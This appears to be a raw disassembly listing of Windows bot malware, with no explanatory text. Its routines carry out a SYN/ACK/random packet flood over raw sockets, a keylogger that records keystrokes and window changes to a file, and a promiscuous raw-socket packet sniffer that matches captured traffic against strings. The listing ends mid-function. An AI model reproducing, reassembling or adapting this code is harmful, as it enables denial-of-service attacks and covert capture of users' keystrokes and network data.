loc_401BC7:				; CODE XREF: sub_401B7C+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401B7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401BD6	proc near		; DATA XREF: sub_40CE55+2C1Eo

var_440		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_9F]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, dword_42104C
		call	edi
		push	eax
		call	sub_415539
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_43A438
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_401C9F
		call	dword_43A34C
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_423438
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401C7F
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_412D4C
		add	esp, 14h

loc_401C7F:				; CODE XREF: sub_401BD6+84j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40B16D
		push	[ebp+var_BC]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048

loc_401C9F:				; CODE XREF: sub_401BD6+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	dword_43A398
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401D1D
		call	dword_43A34C
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_4233EC
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401CFD
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_412D4C
		add	esp, 14h

loc_401CFD:				; CODE XREF: sub_401BD6+102j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40B16D
		push	[ebp+var_BC]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048

loc_401D1D:				; CODE XREF: sub_401BD6+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_43A3F8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401D8D
		lea	eax, [ebp+var_440]
		push	offset dword_4233B8
		push	eax
		call	sub_4154E7
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_401D6D
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_412D4C
		add	esp, 14h

loc_401D6D:				; CODE XREF: sub_401BD6+172j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40B16D
		push	[ebp+var_BC]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048

loc_401D8D:				; CODE XREF: sub_401BD6+157j
		push	10h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	ebx
		call	dword_43A3B8
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_43A3F8
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi
		mov	[ebp+var_30], eax

loc_401DC5:				; CODE XREF: sub_401BD6+430j
		call	edi
		sub	eax, [ebp+var_30]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_B4]
		ja	loc_402089
		push	28h
		mov	[ebp+var_2C], 45h
		call	dword_43A3B8
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_401E38
		call	sub_415543
		mov	esi, eax
		shl	esi, 8
		call	sub_415543
		add	esi, eax
		shl	esi, 8
		call	sub_415543
		add	esi, eax
		shl	esi, 8
		call	sub_415543
		add	esi, eax
		push	1
		mov	[ebp+var_20], esi
		pop	esi
		jmp	short loc_401E4E
; ---------------------------------------------------------------------------

loc_401E38:				; CODE XREF: sub_401BD6+233j
		push	[ebp+var_240]
		call	sub_40A171
		pop	ecx
		push	eax
		call	dword_43A3F8
		mov	[ebp+var_20], eax

loc_401E4E:				; CODE XREF: sub_401BD6+260j
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_401E6C
		call	sub_415543
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_401E72
; ---------------------------------------------------------------------------

loc_401E6C:				; CODE XREF: sub_401BD6+284j
		push	[ebp+var_B8]

loc_401E72:				; CODE XREF: sub_401BD6+294j
		call	dword_43A3B8
		mov	[ebp+var_16], ax
		call	sub_415543
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_43A3B8
		push	12345678h
		mov	[ebp+var_18], ax
		call	dword_43A3B4
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_1BC]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401EC2
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_401F1E
; ---------------------------------------------------------------------------

loc_401EC2:				; CODE XREF: sub_401BD6+2E1j
		lea	eax, [ebp+var_1BC]
		push	offset aAck	; "ack"
		push	eax
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401EE2
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_401F1E
; ---------------------------------------------------------------------------

loc_401EE2:				; CODE XREF: sub_401BD6+301j
		lea	eax, [ebp+var_1BC]
		push	offset aRandom	; "random"
		push	eax
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F1E
		call	sub_415543
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	sub_415543
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl

loc_401F1E:				; CODE XREF: sub_401BD6+2EAj
					; sub_401BD6+30Aj ...
		push	200h
		mov	[ebp+var_C], 50h
		call	dword_43A3B8
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	dword_43A3B8
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+var_64]
		push	20h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_40A1CA
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_4155D0
		push	4
		lea	eax, [ebp+var_78]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_40A1CA
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4155D0
		add	esp, 14h
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	dword_43A41C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40200B
		inc	[ebp+arg_0]
		jmp	loc_401DC5
; ---------------------------------------------------------------------------

loc_40200B:				; CODE XREF: sub_401BD6+42Bj
		push	[ebp+var_4]
		call	dword_43A450
		call	dword_43A34C
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset dword_423344
		lea	eax, [ebp+var_440]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_402069
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_412D4C
		add	esp, 14h

loc_402069:				; CODE XREF: sub_401BD6+46Ej
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40B16D
		push	[ebp+var_BC]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048

loc_402089:				; CODE XREF: sub_401BD6+203j
		push	[ebp+var_4]
		call	dword_43A450
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_4232E0
		push	eax
		call	sub_4154E7
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_4020FA
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_412D4C
		add	esp, 14h

loc_4020FA:				; CODE XREF: sub_401BD6+4FFj
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40B16D
		push	[ebp+var_BC]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048
sub_401BD6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40211A	proc near		; CODE XREF: sub_4021FB+B4p
					; sub_4021FB+253p

var_314		= byte ptr -314h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= byte ptr  14h
arg_8C		= dword	ptr  94h
arg_90		= dword	ptr  98h

		push	ebp
		mov	ebp, esp

loc_40211D:				; DATA XREF: .nsp0:off_42F3C4o
		sub	esp, 314h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	dword_42105C
		lea	eax, [ebp+var_114]
		push	104h
		push	eax
		call	dword_421058
		lea	eax, [ebp+var_114]
		push	offset asc_423C30 ; "\\"
		push	eax
		call	sub_415C10
		lea	eax, [ebp+var_114]
		push	offset dword_42C20C
		push	eax
		call	sub_415C10
		lea	eax, [ebp+var_114]
		push	offset aAb	; "ab"
		push	eax
		call	sub_415BE8
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_402181
		push	1
		pop	eax
		jmp	short loc_4021F8
; ---------------------------------------------------------------------------

loc_402181:				; CODE XREF: sub_40211A+60j
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_415B96
		push	esi
		call	sub_415B40
		add	esp, 28h
		cmp	[ebp+arg_90], 0
		jnz	short loc_4021F6
		push	[ebp+arg_0]
		lea	eax, [ebp+var_314]
		push	offset dword_423BEC
		push	200h
		push	eax
		call	sub_415A6A
		push	0
		lea	eax, [ebp+var_314]
		push	[ebp+arg_8C]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 24h

loc_4021F6:				; CODE XREF: sub_40211A+A3j
		xor	eax, eax

loc_4021F8:				; CODE XREF: sub_40211A+65j
		pop	esi
		leave
		retn
sub_40211A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4021FB	proc near		; DATA XREF: sub_40CE55+1E1Eo

var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
var_4DC		= byte ptr -4DCh
var_2DD		= byte ptr -2DDh
var_2DC		= byte ptr -2DCh
var_DC		= byte ptr -0DCh
var_D8		= dword	ptr -0D8h
var_48		= byte ptr -48h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8DCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8DC], 0
		push	25h
		and	[ebp+var_4], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_DC]
		rep movsd
		mov	dword ptr [eax+90h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_8D8]
		rep stosd
		call	dword_43A340
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_43A354
		mov	ebx, 200h

loc_402256:				; CODE XREF: sub_4021FB+2C7j
		push	8
		call	dword_421060
		call	dword_43A340
		cmp	eax, [ebp+var_8]
		jz	short loc_4022DE
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_43A354
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_4DC]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax
		call	sub_4154E7
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_40211A
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch

loc_4022DE:				; CODE XREF: sub_4021FB+6Cj
		mov	[ebp+arg_0], offset aB ; "b"

loc_4022E5:				; CODE XREF: sub_4021FB+2BDj
		push	10h
		call	dword_43A298
		movsx	esi, ax
		mov	eax, [ebp+arg_0]
		mov	edi, [eax-4]
		push	edi
		call	dword_43A384
		test	ah, 80h
		jz	short loc_40237D
		push	14h
		call	dword_43A298
		test	ax, ax
		jz	short loc_40232E
		cmp	esi, 0FFFFFFFFh
		jle	short loc_40232E
		cmp	edi, 40h
		jle	short loc_40232E
		cmp	edi, 5Bh
		jge	short loc_40232E
		mov	[ebp+edi*4+var_8DC], 1
		jmp	loc_4024AD
; ---------------------------------------------------------------------------

loc_40232E:				; CODE XREF: sub_4021FB+112j
					; sub_4021FB+117j ...
		push	14h
		call	dword_43A298
		test	ax, ax
		jz	short loc_402359
		test	esi, esi
		jge	short loc_40236D
		cmp	edi, 40h
		jle	short loc_402359
		cmp	edi, 5Bh
		jge	short loc_402359
		mov	[ebp+edi*4+var_8DC], 2
		jmp	loc_4024AD
; ---------------------------------------------------------------------------

loc_402359:				; CODE XREF: sub_4021FB+13Ej
					; sub_4021FB+147j ...
		test	esi, esi
		jge	short loc_40236D
		mov	[ebp+edi*4+var_8DC], 3
		jmp	loc_4024AD
; ---------------------------------------------------------------------------

loc_40236D:				; CODE XREF: sub_4021FB+142j
					; sub_4021FB+160j
		mov	[ebp+edi*4+var_8DC], 4
		jmp	loc_4024AD
; ---------------------------------------------------------------------------

loc_40237D:				; CODE XREF: sub_4021FB+105j
		mov	esi, [ebp+edi*4+var_8DC]
		lea	eax, [ebp+edi*4+var_8DC]
		test	esi, esi
		jz	loc_4024AD
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_2DC]
		cmp	edi, 8
		push	eax
		jnz	short loc_4023B5
		call	sub_415CF0
		and	[ebp+eax+var_2DD], 0
		pop	ecx
		jmp	loc_4024AD
; ---------------------------------------------------------------------------

loc_4023B5:				; CODE XREF: sub_4021FB+1A5j
		call	sub_415CF0
		cmp	eax, 1B9h
		pop	ecx
		jbe	short loc_4023E7
		call	dword_43A340
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_43A354
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_402428
; ---------------------------------------------------------------------------

loc_4023E7:				; CODE XREF: sub_4021FB+1C5j
		cmp	edi, 0Dh
		jnz	loc_40247F
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415CF0
		test	eax, eax
		pop	ecx
		jz	loc_4024AD
		call	dword_43A340
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_43A354
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSReturnS ; "%s (Return)	(%s)"

loc_402428:				; CODE XREF: sub_4021FB+1EAj
		lea	eax, [ebp+var_4DC]
		push	eax
		call	sub_4154E7
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_40211A
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		jmp	short loc_4024AD
; ---------------------------------------------------------------------------

loc_40247F:				; CODE XREF: sub_4021FB+1EFj
		cmp	esi, 1
		jz	short loc_402498
		cmp	esi, 3
		jz	short loc_402498
		cmp	esi, 2
		jz	short loc_402493
		cmp	esi, 4
		jnz	short loc_4024AD

loc_402493:				; CODE XREF: sub_4021FB+291j
		push	[ebp+arg_0]
		jmp	short loc_40249F
; ---------------------------------------------------------------------------

loc_402498:				; CODE XREF: sub_4021FB+287j
					; sub_4021FB+28Cj
		mov	eax, [ebp+arg_0]
		add	eax, 7
		push	eax

loc_40249F:				; CODE XREF: sub_4021FB+29Bj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415C10
		pop	ecx
		pop	ecx

loc_4024AD:				; CODE XREF: sub_4021FB+12Ej
					; sub_4021FB+159j ...
		add	[ebp+arg_0], 14h
		cmp	[ebp+arg_0], offset dword_423BB4
		jl	loc_4022E5
		cmp	[ebp+var_4], 0
		jz	loc_402256
		push	[ebp+var_D8]
		call	sub_4152AF
		pop	ecx
		push	0
		call	dword_421048
sub_4021FB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4024DC	proc near		; DATA XREF: sub_40CE55+1C67o

var_102B4	= byte ptr -102B4h
var_102AB	= byte ptr -102ABh
var_102A8	= dword	ptr -102A8h
var_102A0	= dword	ptr -102A0h
var_10293	= byte ptr -10293h
var_1028C	= byte ptr -1028Ch
var_2B4		= byte ptr -2B4h
var_B4		= dword	ptr -0B4h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 102B4h
		call	sub_415D70
		mov	edx, [ebp+arg_0]
		push	esi
		push	edi
		push	1
		pop	eax
		mov	esi, edx
		push	25h
		lea	edi, [ebp+var_B4]
		pop	ecx
		mov	[ebp+var_8], eax
		rep movsd
		mov	[edx+90h], eax
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	esi
		call	dword_43A3B8
		push	[ebp+var_B4]
		mov	[ebp+var_1A], ax
		call	sub_40A171
		pop	ecx
		push	eax
		call	dword_43A3F8
		push	esi
		push	3
		push	2
		mov	[ebp+var_18], eax
		call	dword_43A438
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jnz	short loc_4025B1
		call	dword_43A34C
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset dword_42462C
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402594
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_412D4C
		add	esp, 14h

loc_402594:				; CODE XREF: sub_4024DC+96j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40B16D
		push	[ebp+var_30]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048

loc_4025B1:				; CODE XREF: sub_4024DC+76j
		mov	eax, [ebp+var_30]
		push	10h
		imul	eax, 234h
		mov	dword_43F554[eax], edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	edi
		call	dword_43A3E4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402636
		call	dword_43A34C
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_4245E4
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402612
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_412D4C
		add	esp, 14h

loc_402612:				; CODE XREF: sub_4024DC+114j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40B16D
		pop	ecx
		push	edi
		call	dword_43A450
		push	[ebp+var_30]
		call	sub_4152AF
		pop	ecx
		push	esi
		call	dword_421048

loc_402636:				; CODE XREF: sub_4024DC+F4j
		push	esi
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	dword_43A364
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4026B9
		call	dword_43A34C
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_424598
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402695
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_412D4C
		add	esp, 14h

loc_402695:				; CODE XREF: sub_4024DC+197j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40B16D
		pop	ecx
		push	edi
		call	dword_43A450
		push	[ebp+var_30]
		call	sub_4152AF
		pop	ecx
		push	esi
		call	dword_421048

loc_4026B9:				; CODE XREF: sub_4024DC+177j
		push	ebx
		mov	ebx, offset dword_423C90

loc_4026BF:				; CODE XREF: sub_4024DC+21Bj
					; sub_4024DC+22Dj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_102B4]
		push	edi
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_102B4]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_43A3D0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4027D1
		cmp	[ebp+var_102AB], 6
		jnz	short loc_4026BF
		mov	eax, [ebp+var_102A8]
		cmp	[ebp+var_10293], 18h
		mov	[ebp+var_C], eax
		jnz	short loc_4026BF
		lea	eax, [ebp+var_1028C]
		push	offset aPsniff	; "[PSNIFF]"
		push	eax
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4026BF
		mov	eax, ebx
		xor	edi, edi
		test	eax, eax
		jz	short loc_4026BF
		mov	[ebp+arg_0], ebx

loc_40272D:				; CODE XREF: sub_4024DC+26Cj
		push	eax
		lea	eax, [ebp+var_1028C]
		push	eax
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40274F
		inc	edi
		add	[ebp+arg_0], 18h
		mov	eax, [ebp+arg_0]
		jnz	short loc_40272D
		jmp	loc_4026BF
; ---------------------------------------------------------------------------

loc_40274F:				; CODE XREF: sub_4024DC+262j
		lea	eax, [ebp+var_1028C]
		push	eax
		push	[ebp+var_102A0]
		call	dword_43A2F4
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		call	dword_43A444
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, dword_423CA4[eax*8]
		push	off_423C80[eax*4]
		lea	eax, [ebp+var_2B4]
		push	offset unk_424544
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 1Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_4027BF
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_412D4C
		add	esp, 14h

loc_4027BF:				; CODE XREF: sub_4024DC+2C1j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40B16D
		pop	ecx
		jmp	loc_4026BF
; ---------------------------------------------------------------------------

loc_4027D1:				; CODE XREF: sub_4024DC+20Ej
		call	dword_43A34C
		push	eax
		push	offset unk_4244FC
		lea	eax, [ebp+var_2B4]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 10h
		cmp	[ebp+var_28], esi
		pop	ebx
		jnz	short loc_402817
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_412D4C
		add	esp, 14h

loc_402817:				; CODE XREF: sub_4024DC+319j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40B16D
		pop	ecx
		push	[ebp+var_4]
		call	dword_43A450
		push	[ebp+var_30]
		call	sub_4152AF
		pop	ecx
		push	esi
		call	dword_421048
sub_4024DC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40283D	proc near		; CODE XREF: sub_402988+440p

var_5A4		= byte ptr -5A4h
var_1A4		= byte ptr -1A4h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A4h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_14], 2
		push	eax
		call	dword_4211D8
		mov	[ebp+var_10], eax
		mov	ax, word_424F58
		push	eax
		call	dword_4211DC
		push	esi
		push	1
		push	2
		mov	[ebp+var_12], ax
		call	dword_4211E0
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jz	loc_40295D
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	edi
		call	dword_4211E4
		cmp	eax, 0FFFFFFFFh
		jz	loc_40295D
		push	esi
